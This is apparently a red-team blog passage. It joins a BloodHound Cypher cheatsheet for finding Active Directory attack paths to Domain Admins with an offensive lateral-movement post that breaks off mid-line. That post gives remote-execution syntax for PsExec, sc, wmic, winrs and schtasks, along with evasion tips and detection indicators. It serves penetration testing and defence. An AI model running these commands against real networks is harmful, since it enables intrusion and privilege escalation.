# BloodHound Cypher Cheatsheet

Bloodhound uses Neo4j, a graphing database, which uses the Cypher language. Cypher is a bit complex since it’s almost like programming with ASCII art. This cheatsheet aims to cover some Cypher queries that can easily be pasted into Bloodhound GUI and or Neo4j Console to leverage more than the default queries. This cheatsheet is separated by whether the query is for the GUI or console. For the console, it means they cannot be executed via Bloodhound GUI and must be done via the neo4j console.

To also make life easier, I’ve taken the applicable queries here and made them compatible within the “Custom Queries” section in the GUI. You can download that here: https://github.com/hausec/Bloodhound-Custom-Queries

GUI/Graph Queries

Console Queries

# GUI/Graph Queries

Find All edges any owned user has on a computer

MATCH p=shortestPath((m:User)-[r]->(b:Computer)) WHERE m.owned RETURN p

Find All Users with an SPN/Find all Kerberoastable Users

MATCH (n:User)WHERE n.hasspn=true
RETURN n

Find All Users with an SPN/Find all Kerberoastable Users with passwords last set > 5 years ago

MATCH (u:User) WHERE u.hasspn=true AND u.pwdlastset < (datetime().epochseconds - (1825 * 86400)) AND NOT u.pwdlastset IN [-1.0, 0.0]
RETURN u.name, u.pwdlastset order by u.pwdlastset

Find SPNs with keywords (swap SQL with whatever)

MATCH (u:User) WHERE ANY (x IN u.serviceprincipalnames WHERE toUpper(x) CONTAINS 'SQL')RETURN u

Kerberoastable Users with a path to DA

MATCH (u:User {hasspn:true}) MATCH (g:Group) WHERE g.name CONTAINS 'DOMAIN ADMINS' MATCH p = shortestPath( (u)-[*1..]->(g) ) RETURN p

Find workstations a user can RDP into.

match p=(g:Group)-[:CanRDP]->(c:Computer) where g.objectid ENDS WITH '-513'  AND NOT c.operatingsystem CONTAINS 'Server' return p

Find servers a user can RDP into.

match p=(g:Group)-[:CanRDP]->(c:Computer) where  g.objectid ENDS WITH '-513'  AND c.operatingsystem CONTAINS 'Server' return p

DA sessions not on a certain group (e.g. domain controllers)

OPTIONAL MATCH (c:Computer)-[:MemberOf]->(t:Group) WHERE NOT t.name = 'DOMAIN CONTROLLERS@TESTLAB.LOCAL' WITH c as NonDC MATCH p=(NonDC)-[:HasSession]->(n:User)-[:MemberOf]->(g:Group {name:”DOMAIN ADMINS@TESTLAB.LOCAL”}) RETURN DISTINCT (n.name) as Username, COUNT(DISTINCT(NonDC)) as Connexions ORDER BY COUNT(DISTINCT(NonDC)) DESC

Find all computers with Unconstrained Delegation

MATCH (c:Computer {unconstraineddelegation:true}) return c

Find unsupported OSs

MATCH (H:Computer) WHERE H.operatingsystem =~ '.*(2000|2003|2008|xp|vista|7|me)*.' RETURN H

Find users that logged in within the last 90 days. Change 90 to whatever threshold you want.

MATCH (u:User) WHERE u.lastlogon < (datetime().epochseconds - (90 * 86400)) and NOT u.lastlogon IN [-1.0, 0.0] RETURN u

Find users with passwords last set thin the last 90 days. Change 90 to whatever threshold you want.

MATCH (u:User) WHERE u.pwdlastset < (datetime().epochseconds - (90 * 86400)) and NOT u.pwdlastset IN [-1.0, 0.0] RETURN u

Find all sessions any user in a specific domain has

MATCH p=(m:Computer)-[r:HasSession]->(n:User {domain: "TEST.LOCAL"}) RETURN p

View all GPOs

Match (n:GPO) return n

View all GPOs that contain a keyword

Match (n:GPO) WHERE n.name CONTAINS "SERVER" return n

View all groups that contain the word ‘admin’

Match (n:Group) WHERE n.name CONTAINS "ADMIN" return n

Find user that doesn’t require kerberos pre-authentication (aka AS-REP Roasting)

MATCH (u:User {dontreqpreauth: true}) RETURN u

Find a group with keywords. E.g. SQL ADMINS or SQL 2017 ADMINS

MATCH (g:Group) WHERE g.name =~ '(?i).SQL.ADMIN.*' RETURN g

Show all high value target group

MATCH p=(n:User)-[r:MemberOf*1..]->(m:Group {highvalue:true}) RETURN p

Shortest paths to Domain Admins group from computers:

Shortest paths to Domain Admins group from computers excluding potential DCs (based on ldap/ and GC/ spns):

Shortest paths to Domain Admins group from all domain groups (fix-it):

Shortest paths to Domain Admins group from the Domain Users group:

Find interesting privileges/ACEs that have been configured to DOMAIN USERS group:

MATCH (m:Group) WHERE m.name =~ 'DOMAIN USERS@.*' MATCH p=(m)-[r:Owns|:WriteDacl|:GenericAll|:WriteOwner|:ExecuteDCOM|:GenericWrite|:AllowedToDelegate|:ForceChangePassword]->(n:Computer) RETURN p

Find all Edges that a specific user has against all the nodes (HasSession is not calculated, as it is an edge that comes from computer to user, not from user to computer):

Find all the Edges that any UNPRIVILEGED user (based on the admincount:False) has against all the nodes:

Find interesting edges related to “ACL Abuse” that uprivileged users have against other users:

MATCH (n:User {admincount:False}) MATCH (m:User) WHERE NOT m.name = n.name MATCH p=allShortestPaths((n)-[r:AllExtendedRights|ForceChangePassword|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner*1..]->(m)) RETURN p

Find interesting edges related to “ACL Abuse” that unprivileged users have against computers:

Find if unprivileged users have rights to add members into groups:

Find the active user sessions on all domain computers:

MATCH p1=shortestPath(((u1:User)-[r1:MemberOf*1..]->(g1:Group))) MATCH p2=(c:Computer)-[*1]->(u1) RETURN p2

Find all the privileges (edges) of the domain users against the domain computers (e.g. CanRDP, AdminTo etc. HasSession edge is not included):

MATCH p1=shortestPath(((u1:User)-[r1:MemberOf*1..]->(g1:Group))) MATCH p2=(u1)-[*1]->(c:Computer) RETURN p2

Find only the AdminTo privileges (edges) of the domain users against the domain computers:

MATCH p1=shortestPath(((u1:User)-[r1:MemberOf*1..]->(g1:Group))) MATCH p2=(u1)-[:AdminTo*1..]->(c:Computer) RETURN p2

Find only the CanRDP privileges (edges) of the domain users against the domain computers:

MATCH p1=shortestPath(((u1:User)-[r1:MemberOf*1..]->(g1:Group))) MATCH p2=(u1)-[:CanRDP*1..]->(c:Computer) RETURN p2

Display in BH a specific user with constrained deleg and his targets where he allowed to delegate:

MATCH (u:User {name:'USER@DOMAIN.GR'}),(c:Computer),p=((u)-[r:AllowedToDelegate]->(c)) RETURN p

# Console Queries

Find what groups can RDP

MATCH p=(m:Group)-[r:CanRDP]->(n:Computer) RETURN m.name, n.name ORDER BY m.name

Find what groups can reset passwords

MATCH p=(m:Group)-[r:ForceChangePassword]->(n:User) RETURN m.name, n.name ORDER BY m.name

Find what groups have local admin rights

MATCH p=(m:Group)-[r:AdminTo]->(n:Computer) RETURN m.name, n.name ORDER BY m.name

Find what users have local admin rights

MATCH p=(m:User)-[r:AdminTo]->(n:Computer) RETURN m.name, n.name ORDER BY m.name

List the groups of all owned users

MATCH (m:User) WHERE m.owned=TRUE WITH m MATCH p=(m)-[:MemberOf*1..]->(n:Group) RETURN m.name, n.name ORDER BY m.name

List the unique groups of all owned users

MATCH (m:User) WHERE m.owned=TRUE WITH m MATCH (m)-[r:MemberOf*1..]->(n:Group) RETURN DISTINCT(n.name)

All active DA sessions

MATCH (n:User)-[:MemberOf*1..]->(g:Group) WHERE g.objectid ENDS WITH '-512' MATCH p = (c:Computer)-[:HasSession]->(n) return p

Find all active sessions a member of a group has

MATCH (n:User)-[:MemberOf*1..]->(g:Group {name:'DOMAIN ADMINS@TESTLAB.LOCAL'}) MATCH p = (c:Computer)-[:HasSession]->(n) return p

Can an object from domain ‘A’ do anything to an object in domain ‘B’

MATCH (n {domain:"TEST.LOCAL"})-[r]->(m {domain:"LAB.LOCAL"}) RETURN LABELS(n)[0],n.name,TYPE(r),LABELS(m)[0],m.name

Find all connections to a different domain/forest

MATCH (n)-[r]->(m) WHERE NOT n.domain = m.domain RETURN LABELS(n)[0],n.name,TYPE(r),LABELS(m)[0],m.name

Find All Users with an SPN/Find all Kerberoastable Users with passwords last set > 5 years ago (In Console)

MATCH (u:User) WHERE n.hasspn=true AND WHERE u.pwdlastset < (datetime().epochseconds - (1825 * 86400)) and NOT u.pwdlastset IN [-1.0, 0.0] RETURN u.name, u.pwdlastset order by u.pwdlastset

Kerberoastable Users with most privileges

MATCH (u:User {hasspn:true}) OPTIONAL MATCH (u)-[:AdminTo]->(c1:Computer) OPTIONAL MATCH (u)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c2:Computer) WITH u,COLLECT(c1) + COLLECT(c2) AS tempVar UNWIND tempVar AS comps RETURN u.name,COUNT(DISTINCT(comps)) ORDER BY COUNT(DISTINCT(comps)) DESC

Find users that logged in within the last 90 days. Change 90 to whatever threshold you want. (In Console)

MATCH (u:User) WHERE u.lastlogon < (datetime().epochseconds - (90 * 86400)) and NOT u.lastlogon IN [-1.0, 0.0] RETURN u.name, u.lastlogon order by u.lastlogon

Find users with passwords last set within the last 90 days. Change 90 to whatever threshold you want. (In Console)

MATCH (u:User) WHERE u.pwdlastset < (datetime().epochseconds - (90 * 86400)) and NOT u.pwdlastset IN [-1.0, 0.0] RETURN u.name, u.pwdlastset order by u.pwdlastset

List users and their login times + pwd last set times in human readable format

MATCH (n:User) WHERE n.enabled = TRUE RETURN n.name, datetime({epochSeconds: toInteger(n.pwdlastset) }), datetime({epochSeconds: toInteger(n.lastlogon) }) order by n.pwdlastset

Find constrained delegation (In Console)

MATCH (u:User)-[:AllowedToDelegate]->(c:Computer) RETURN u.name,COUNT(c) ORDER BY COUNT(c) DESC

View OUs based on member count. (In Console)

MATCH (o:OU)-[:Contains]->(c:Computer) RETURN o.name,o.guid,COUNT(c) ORDER BY COUNT(c) DESC

Return each OU that has a Windows Server in it (In Console)

MATCH (o:OU)-[:Contains]->(c:Computer) WHERE toUpper(c.operatingsystem) STARTS WITH "WINDOWS SERVER" RETURN o.name

Find computers that allow unconstrained delegation that AREN’T domain controllers. (In Console)

MATCH (c1:Computer)-[:MemberOf*1..]->(g:Group) WHERE g.objectsid ENDS WITH '-516' WITH COLLECT(c1.name) AS domainControllers MATCH (c2:Computer {unconstraineddelegation:true}) WHERE NOT c2.name IN domainControllers RETURN c2.name,c2.operatingsystem ORDER BY c2.name ASC

Find the number of principals with control of a “high value” asset where the principal itself does not belong to a “high value” group

MATCH (n {highvalue:true}) OPTIONAL MATCH (m1)-[{isacl:true}]->(n) WHERE NOT (m1)-[:MemberOf*1..]->(:Group {highvalue:true}) OPTIONAL MATCH (m2)-[:MemberOf*1..]->(:Group)-[{isacl:true}]->(n) WHERE NOT (m2)-[:MemberOf*1..]->(:Group {highvalue:true}) WITH n,COLLECT(m1) + COLLECT(m2) AS tempVar UNWIND tempVar AS controllers RETURN n.name,COUNT(DISTINCT(controllers)) ORDER BY COUNT(DISTINCT(controllers)) DESC

Enumerate all properties (In Console)

Match (n:Computer) return properties(n)

Match users that are not AdminCount 1, have generic all, and no local admin

What permissions does Everyone/Authenticated users/Domain users/Domain computers have

Find computers with descriptions and display them (along with the description, sometimes admins save sensitive data on domain objects descriptions like passwords):

MATCH (c:Computer) WHERE c.description IS NOT NULL RETURN c.name,c.description

Return the name of every computer in the database where at least one SPN for the computer contains the string “MSSQL”:

MATCH (c:Computer) WHERE ANY (x IN c.serviceprincipalnames WHERE toUpper(x) CONTAINS 'MSSQL') RETURN c.name,c.serviceprincipalnames ORDER BY c.name ASC

Find any computer that is NOT a domain controller and it is trusted to perform unconstrained delegation:

MATCH (c1:Computer)-[:MemberOf*1..]->(g:Group) WHERE g.objectid ENDS WITH '-516' WITH COLLECT(c1.name) AS domainControllers MATCH (c2:Computer {unconstraineddelegation:true}) WHERE NOT c2.name IN domainControllers RETURN c2.name,c2.operatingsystem ORDER BY c2.name ASC

Find every computer account that has local admin rights on other computers. Return in descending order of the number of computers the computer account has local admin rights to:

MATCH (c1:Computer) OPTIONAL MATCH (c1)-[:AdminTo]->(c2:Computer) OPTIONAL MATCH (c1)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c3:Computer) WITH COLLECT(c2) + COLLECT(c3) AS tempVar,c1 UNWIND tempVar AS computers RETURN c1.name AS COMPUTER,COUNT(DISTINCT(computers)) AS ADMIN_TO_COMPUTERS ORDER BY COUNT(DISTINCT(computers)) DESC

Alternatively, find every computer that has local admin rights on other computers and display these computers:

MATCH (c1:Computer) OPTIONAL MATCH (c1)-[:AdminTo]->(c2:Computer) OPTIONAL MATCH (c1)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c3:Computer) WITH COLLECT(c2) + COLLECT(c3) AS tempVar,c1 UNWIND tempVar AS computers RETURN c1.name AS COMPUTER,COLLECT(DISTINCT(computers.name)) AS ADMIN_TO_COMPUTERS ORDER BY c1.name

Get the names of the computers without admins, sorted by alphabetic order:

MATCH (n)-[r:AdminTo]->(c:Computer) WITH COLLECT(c.name) as compsWithAdmins MATCH (c2:Computer) WHERE NOT c2.name in compsWithAdmins RETURN c2.name ORDER BY c2.name ASC

Show computers (excluding Domain Controllers) where Domain Admins are logged in:

MATCH (n:User)-[:MemberOf*1..]->(g:Group {name:'DOMAIN ADMINS@DOMAIN.GR'}) WITH n as privusers

Find the percentage of computers with path to Domain Admins:

MATCH (totalComputers:Computer {domain:'DOMAIN.GR'}) MATCH p=shortestPath((ComputersWithPath:Computer {domain:'DOMAIN.GR'})-[r*1..]->(g:Group {name:'DOMAIN ADMINS@DOMAIN.GR'})) WITH COUNT(DISTINCT(totalComputers)) as totalComputers, COUNT(DISTINCT(ComputersWithPath)) as ComputersWithPath RETURN 100.0 * ComputersWithPath / totalComputers AS percentComputersToDA

Find on each computer who can RDP (searching only enabled users):

MATCH (c:Computer) OPTIONAL MATCH (u:User)-[:CanRDP]->(c) WHERE u.enabled=true OPTIONAL MATCH (u1:User)-[:MemberOf*1..]->(:Group)-[:CanRDP]->(c) where u1.enabled=true WITH COLLECT(u) + COLLECT(u1) as tempVar,c UNWIND tempVar as users RETURN c.name AS COMPUTER,COLLECT(DISTINCT(users.name)) as USERS ORDER BY USERS desc

Find on each computer the number of users with admin rights (local admins) and display the users with admin rights:

Active Directory group with default privileged rights on domain users and groups, plus the ability to logon to Domain Controllers

MATCH (u:User)-[r1:MemberOf*1..]->(g1:Group {name:'ACCOUNT OPERATORS@DOMAIN.GR'}) RETURN u.name

Find which domain Groups are Admins to what computers:

MATCH (g:Group) OPTIONAL MATCH (g)-[:AdminTo]->(c1:Computer) OPTIONAL MATCH (g)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c2:Computer) WITH g, COLLECT(c1) + COLLECT(c2) AS tempVar UNWIND tempVar AS computers RETURN g.name AS GROUP, COLLECT(computers.name) AS AdminRights

MATCH (g:Group) WHERE NOT (g.name =~ '(?i)domain admins@.*' OR g.name =~ "(?i)enterprise admins@.*") OPTIONAL MATCH (g)-[:AdminTo]->(c1:Computer) OPTIONAL MATCH (g)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c2:Computer) WITH g, COLLECT(c1) + COLLECT(c2) AS tempVar UNWIND tempVar AS computers RETURN g.name AS GROUP, COLLECT(computers.name) AS AdminRights

Find which domain Groups (excluding the high privileged groups marked with AdminCount=true) are Admins to what computers:

MATCH (g:Group) WHERE g.admincount=false OPTIONAL MATCH (g)-[:AdminTo]->(c1:Computer) OPTIONAL MATCH (g)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c2:Computer) WITH g, COLLECT(c1) + COLLECT(c2) AS tempVar UNWIND tempVar AS computers RETURN g.name AS GROUP, COLLECT(computers.name) AS AdminRights

Find the most privileged groups on the domain (groups that are Admins to Computers. Nested groups will be calculated):

MATCH (g:Group) OPTIONAL MATCH (g)-[:AdminTo]->(c1:Computer) OPTIONAL MATCH (g)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c2:Computer) WITH g, COLLECT(c1) + COLLECT(c2) AS tempVar UNWIND tempVar AS computers RETURN g.name AS GroupName,COUNT(DISTINCT(computers)) AS AdminRightCount ORDER BY AdminRightCount DESC

Find the number of computers that do not have local Admins:

Find percentage of non-privileged groups (based on admincount:false) to Domain Admins group:

MATCH (totalGroups:Group {admincount:false}) MATCH p=shortestPath((GroupsWithPath:Group {admincount:false})-[r*1..]->(g:Group {name:'DOMAIN ADMINS@DOMAIN.GR'})) WITH COUNT(DISTINCT(totalGroups)) as totalGroups, COUNT(DISTINCT(GroupsWithPath)) as GroupsWithPath RETURN 100.0 * GroupsWithPath / totalGroups AS percentGroupsToDA

Find every user object where the “userpassword” attribute is populated (wald0):

Find every user that doesn’t require kerberos pre-authentication (wald0):

MATCH (u:User {dontreqpreauth: true}) RETURN u.name

Find all users trusted to perform constrained delegation. The result is ordered by the amount of computers:

MATCH (u:User)-[:AllowedToDelegate]->(c:Computer) RETURN u.name,COUNT(c) ORDER BY COUNT(c) DESC

Find the active sessions that a specific domain user has on all domain computers:

MATCH p1=shortestPath(((u1:User {name:'USER@DOMAIN.GR'})-[r1:MemberOf*1..]->(g1:Group))) MATCH (c:Computer)-[r:HasSession*1..]->(u1) RETURN DISTINCT(u1.name) as users, c.name as computers ORDER BY computers

Count the number of the computers where each domain user has direct Admin privileges to:

MATCH (u:User)-[:AdminTo]->(c:Computer) RETURN count(DISTINCT(c.name)) AS COMPUTER, u.name AS USER ORDER BY count(DISTINCT(c.name)) DESC

Count the number of the computers where each domain user has derivative Admin privileges to:

MATCH (u:User)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c:Computer) RETURN count(DISTINCT(c.name)) AS COMPUTER, u.name AS USER ORDER BY u.name

Display the computer names where each domain user has derivative Admin privileges to:

MATCH (u:User)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c:Computer) RETURN DISTINCT(c.name) AS COMPUTER, u.name AS USER ORDER BY u.name

Find Kerberoastable users who are members of high value groups:

MATCH (u:User)-[r:MemberOf*1..]->(g:Group) WHERE g.highvalue=true AND u.hasspn=true RETURN u.name AS USER

Find Kerberoastable users and where they are AdminTo:

OPTIONAL MATCH (u1:User) WHERE u1.hasspn=true OPTIONAL MATCH (u1)-[r:AdminTo]->(c:Computer) RETURN u1.name AS user_with_spn,c.name AS local_admin_to

Find the percentage of users with a path to Domain Admins:

MATCH (totalUsers:User {domain:'DOMAIN.GR'}) MATCH p=shortestPath((UsersWithPath:User {domain:'DOMAIN.GR'})-[r*1..]->(g:Group {name:'DOMAIN ADMINS@DOMAIN.GR'})) WITH COUNT(DISTINCT(totalUsers)) as totalUsers, COUNT(DISTINCT(UsersWithPath)) as UsersWithPath RETURN 100.0 * UsersWithPath / totalUsers AS percentUsersToDA

Find the percentage of enabled users that have a path to high value groups:

MATCH (u:User {domain:'DOMAIN.GR',enabled:True}) MATCH (g:Group {domain:'DOMAIN.GR'}) WHERE g.highvalue = True WITH g, COUNT(u) as userCount MATCH p = shortestPath((u:User {domain:'DOMAIN.GR',enabled:True})-[*1..]->(g)) RETURN 100.0 * COUNT(distinct u) / userCount

List of unique users with a path to a Group tagged as “highvalue”:

Find users who are NOT marked as “Sensitive and Cannot Be Delegated” and have Administrative access to a computer, and where those users have sessions on servers with Unconstrained Delegation enabled (by NotMedic):

MATCH (u:User {sensitive:false})-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c1:Computer) WITH u,c1 MATCH (c2:Computer {unconstraineddelegation:true})-[:HasSession]->(u) RETURN u.name AS user,COLLECT(DISTINCT(c1.name)) AS AdminTo,COLLECT(DISTINCT(c2.name)) AS TicketLocation ORDER BY user ASC

Find users with constrained delegation permissions and the corresponding targets where they allowed to delegate:

MATCH (u:User) WHERE u.allowedtodelegate IS NOT NULL RETURN u.name,u.allowedtodelegate

Alternatively, search for users with constrained delegation permissions,the corresponding targets where they are allowed to delegate, the privileged users that can be impersonated (based on sensitive:false and admincount:true) and find where these users (with constrained deleg privs) have active sessions (user hunting) as well as count the shortest paths to them:

OPTIONAL MATCH (u:User {sensitive:false, admincount:true}) WITH u.name AS POSSIBLE_TARGETS OPTIONAL MATCH (n:User) WHERE n.allowedtodelegate IS NOT NULL WITH n AS USER_WITH_DELEG, n.allowedtodelegate as DELEGATE_TO, POSSIBLE_TARGETS OPTIONAL MATCH (c:Computer)-[:HasSession]->(USER_WITH_DELEG) WITH USER_WITH_DELEG,DELEGATE_TO,POSSIBLE_TARGETS,c.name AS USER_WITH_DELEG_HAS_SESSION_TO OPTIONAL MATCH p=shortestPath((o)-[r:MemberOf|HasSession|AdminTo|AllExtendedRights|AddMember|ForceChangePassword|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner|CanRDP|ExecuteDCOM|AllowedToDelegate|ReadLAPSPassword|Contains|GpLink|AddAllowedToAct|AllowedToAct*1..]->(USER_WITH_DELEG)) WHERE NOT o=USER_WITH_DELEG WITH USER_WITH_DELEG,DELEGATE_TO,POSSIBLE_TARGETS,USER_WITH_DELEG_HAS_SESSION_TO,p RETURN USER_WITH_DELEG.name AS USER_WITH_DELEG, DELEGATE_TO, COLLECT(DISTINCT(USER_WITH_DELEG_HAS_SESSION_TO)) AS USER_WITH_DELEG_HAS_SESSION_TO, COLLECT(DISTINCT(POSSIBLE_TARGETS)) AS PRIVILEGED_USERS_TO_IMPERSONATE, COUNT(DISTINCT(p)) AS PATHS_TO_USER_WITH_DELEG

Find computers with constrained delegation permissions and the corresponding targets where they allowed to delegate:

MATCH (c:Computer) WHERE c.allowedtodelegate IS NOT NULL RETURN c.name,c.allowedtodelegate

Alternatively, search for computers with constrained delegation permissions, the corresponding targets where they are allowed to delegate, the privileged users that can be impersonated (based on sensitive:false and admincount:true) and find who is LocalAdmin on these computers as well as count the shortest paths to them:

Find if any domain user has interesting permissions against a GPO:

MATCH p=(u:User)-[r:AllExtendedRights|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner|GpLink*1..]->(g:GPO) RETURN p LIMIT 25

Show me all the sessions from the users in the OU with the following GUID

MATCH p=(o:OU {guid:'045939B4-3FA8-4735-YU15-7D61CFOU6500'})-[r:Contains*1..]->(u:User) MATCH (c:Computer)-[rel:HasSession]->(u) return u.name,c.name

Creating a property on the users that have an actual path to anything high_value(heavy query. takes hours on a large dataset)

What “user with a path to any high_value group” has most sessions?

MATCH (c:Computer)-[rel:HasSession]->(u:User {has_path_to_da: true}) WITH COLLECT(c) as tempVar,u UNWIND tempVar as sessions WITH u,COUNT(DISTINCT(sessions)) as sessionCount RETURN u.name,u.displayname,sessionCount ORDER BY sessionCount desc

Creating a property for Tier 1 Users with regex:

MATCH (u:User) WHERE u.name =~ 'internal_naming_convention[0-9]{2,5}@EXAMPLE.LOCAL' SET u.tier_1_user = true

Creating a property for Tier 1 Computers via group-membership:

MATCH (c:Computer)-[r:MemberOf*1..]-(g:Group {name:'ALL_SERVERS@EXAMPLE.LOCAL'}) SET c.tier_1_computer = true

Creating a property for Tier 2 Users via group name and an exclusion:

MATCH (u:User)-[r:MemberOf*1..]-(g:Group)WHERE g.name CONTAINS  'ALL EMPLOYEES' AND NOT u.name contains 'TEST' SET u.tier_2_user = true

Creating a property for Tier 2 Computers via nested groups name:

MATCH (c:Computer)-[r:MemberOf*1..]-(g:Group) WHERE g.name STARTS WITH 'CLIENT_' SET c.tier_2_computer = true

List Tier 1 Sessions on Tier 2 Computers

MATCH (c:Computer)-[rel:HasSession]->(u:User) WHERE u.tier_1_user = true AND c.tier_2_computer = true RETURN u.name,u.displayname,TYPE(rel),c.name,labels(c),c.enabled

List all users with local admin and count how many instances

OPTIONAL MATCH (c1)-[:AdminTo]->(c2:Computer) OPTIONAL MATCH (c1)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c3:Computer) WITH COLLECT(c2) + COLLECT(c3) AS tempVar,c1 UNWIND tempVar AS computers RETURN c1.name,COUNT(DISTINCT(computers)) ORDER BY COUNT(DISTINCT(computers)) DESC

Find all users a part of the VPN group

Match (u:User)-[:MemberOf]->(g:Group) WHERE g.name CONTAINS "VPN" return u.name,g.name

Find users that have never logged on and account is still active

MATCH (n:User) WHERE n.lastlogontimestamp=-1.0 AND n.enabled=TRUE RETURN n.name ORDER BY n.name

Adjust Query to Local Timezone (Change timezone parameter)

MATCH (u:User) WHERE NOT u.lastlogon IN [-1.0, 0.0] return u.name, datetime({epochSeconds:toInteger(u.lastlogon), timezone: '+10:00'}) as LastLogon

Thank you to the following contributors:

@sbooker_, @_wald0, @cptjesus, @ScoubiMtl, @sysop_host, @haus3c, @bravo2day, @rvrsh3ll, @Krelkci

# Offensive Lateral Movement

Lateral movement is the process of moving from one compromised host to another. Penetration testers and red teamers alike commonly used to accomplish this by executing powershell.exe to run a base64 encoded command on the remote host, which would return a beacon. The problem with this is that offensive PowerShell is not a new concept anymore and even moderately mature shops will detect on it and shut it down quickly, or any half decent AV product will kill it before a malicious command is ran. The difficulty with lateral movement is doing it with good operational security (OpSec) which means generating the least amount of logs as possible, or generating logs that look normal, i.e. hiding in plain sight to avoid detection. The purpose is to not only show the techniques, but to show what is happening under the hood and any indicators associated with them. I’ll be referencing some Cobalt Strike syntax throughout this post, as it’s what we primarily use for C2, however Cobalt Strike’s built-in lateral movement techniques are quite noisy and not OpSec friendly. In addition, I understand not everyone has Cobalt Strike, so Meterpreter is also referenced in most examples, but the techniques are universal.

There’s several different lateral movement techniques out there and I’ll try to cover the big ones and how they work from a high level overview, but before doing covering the methods, let’s clarify a few terms.

• Named Pipe: A way that processes communicate with each other via SMB (TCP 445). Operates on Layer 5 of the OSI model. Similar to how a port can listen for connections, a named pipe can also listen for requests.
• Access Token: Per Microsoft’s documentation: An access token is an object that describes the security context of a process or thread. The information in a token includes the identity and privileges of the user account associated with the process or thread. When a user logs on, the system verifies the user’s password by comparing it with information stored in a security database. When a user’s credentials are authenticated, the system produces an access token. Every process executed on behalf of this user has a copy of this access token.

In another way, it contains your identity and states what you can and can’t use on the system. Without diving too deep into Windows authentication, access tokens reference logon sessions which is what’s created when a user logs into Windows.

• Network Logon (Type 3): Network logons occur when an account authenticates to a remote system/service. During network authentication, reusable credentials are not sent to the remote system. Consequently, when a user logs into a remote system via a network logon, the user’s credentials will not be present on the remote system to perform further authentication. This brings in the double-hop problem, meaning if we have a one-liner that connects to one target via Network logon, then also reaches out via SMB, no credentials are present to login over SMB, therefore login fails. Examples shown further below.

# PsExec

PsExec comes from Microsoft’s Sysinternals suite and allows users to execute Powershell on remote hosts over port 445 (SMB) using named pipes. It first connects to the ADMIN$share on the target, over SMB, uploads PSEXESVC.exe and uses Service Control Manager to start the .exe which creates a named pipe on the remote system, and finally uses that pipe for I/O. An example of the syntax is the following: psexec \\test.domain -u Domain\User -p Password ipconfig Cobalt Strike (CS) goes about this slightly differently. It first creates a Powershell script that will base64 encode an embedded payload which runs from memory and is compressed into a one-liner, connects to the ADMIN$ or C$share & runs the Powershell command, as shown below The problem with this is that it creates a service and runs a base64 encoded command, which is not normal and will set off all sorts of alerts and generate logs. In addition, the commands sent are through named pipes, which has a default name in CS (but can be changed). Red Canary wrote a great article on detecting it. Cobalt Strike has two PsExec built-ins, one called PsExec and the other called PsExec (psh). The difference between the two, and despite what CS documentation says, PsExec (psh) is calling Powershell.exe and your beacon will be running as a Powershell.exe process, where PsExec without the (psh) will be running as rundll32.exe. Viewing the process IDs via Cobalt Strike By default, PsExec will spawn the rundll32.exe process to run from. It’s not dropping a DLL to disk or anything, so from a blue-team perspective, if rundll32.exe is running without arguments, it’s VERY suspicious. # SC Service Controller is exactly what it sounds like — it controls services. This is particularly useful as an attacker because scheduling tasks is possible over SMB, so the syntax for starting a remote service is: sc \\host.domain create ExampleService binpath= “c:\windows\system32\calc.exe” sc \\host.domain start ExampleService The only caveat to this is that the executable must be specifically a service binary. Service binaries are different in the sense that they must “check in” to the service control manager (SCM) and if it doesn’t, it will exit execution. So if a non-service binary is used for this, it will come back as an agent/beacon for a second, then die. In CS, you can specifically craft service executables: Generating a service executable via Cobalt Strike Here is the same attack but with Metasploit: # WMI Windows Management Instrumentation (WMI) is built into Windows to allow remote access to Windows components, via the WMI service. Communicating by using Remote Procedure Calls (RPCs) over port 135 for remote access (and an ephemeral port later), it allows system admins to perform automated administrative tasks remotely, e.g. starting a service or executing a command remotely. It can interacted with directly via wmic.exe. An example WMI query would look like this: wmic /node:target.domain /user:domain\user /password:password process call create "C:\Windows\System32\calc.exe” Cobalt Strike leverages WMI to execute a Powershell payload on the target, so PowerShell.exe is going to open when using the WMI built-in, which is an OpSec problem because of the base64 encoded payload that executes. So we see that even through WMI, a named piped is created despite wmic.exe having the capability to run commands on the target via PowerShell, so why create a named pipe in the first place? The named pipe isn’t necessary for executing the payload, however the payload CS creates uses the named pipe for communication (over SMB). This is just touching the surface of the capabilities of WMI. My co-worker @mattifestation gave an excellent talk during Blackhat 2015 on it’s capabilities, which can be read here. # WinRM Windows Remote Management allows management of server hardware and it’s also Microsoft’s way of using WMI over HTTP(S). Unlike traditional web traffic, it doesn’t use 80/443, but instead uses 5985 (HTTP) and 5986 (HTTPS). WinRM comes installed with Windows by default, but does need some setup in order to be used. The exception to this being server OSs, as it’s on by default since 2012R2 and beyond. WinRM requires listeners (sound familiar?) on the client and even if the WinRM service is started, a listener has to be present in order for it to process requests. This can be done via the command in Powershell, or remotely done via WMI & Powershell: Enable-PSRemoting -Force From a non-CS perspective (replace calc.exe with your binary): winrs -r:EXAMPLE.lab.local -u:DOMAIN\user -p:password calc.exe Executing with CobaltStrike: The problem with this, of course, is that it has to be started with PowerShell. If you’re talking in remote terms, then it needs to be done via DCOM or WMI. While opening up PowerShell is not weird and starting a WinRM listener might fly under the radar, the noisy part comes when executing the payload, as there’s an indicator when running the built-in WinRM module from Cobalt Strike. With the indicator being: "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile # SchTasks SchTasks is short for Scheduled Tasks and operates over port 135 initially and then continues communication over an ephemeral port, using the DCE/RPC for communication. Similar to creating a cron-job in Linux, you can schedule a task to occur and execute whatever you want. From just PS: schtasks /create /tn ExampleTask /tr c:\windows\system32\calc.exe /sc once /st 00:00 /S host.domain /RU System schtasks /run /tn ExampleTask /S host.domain schtasks /F /delete /tn ExampleTask /S host.domain In CobaltStrike: shell schtasks /create /tn ExampleTask /tr c:\windows\system32\calc.exe /sc once /st 00:00 /S host.domain /RU System shell 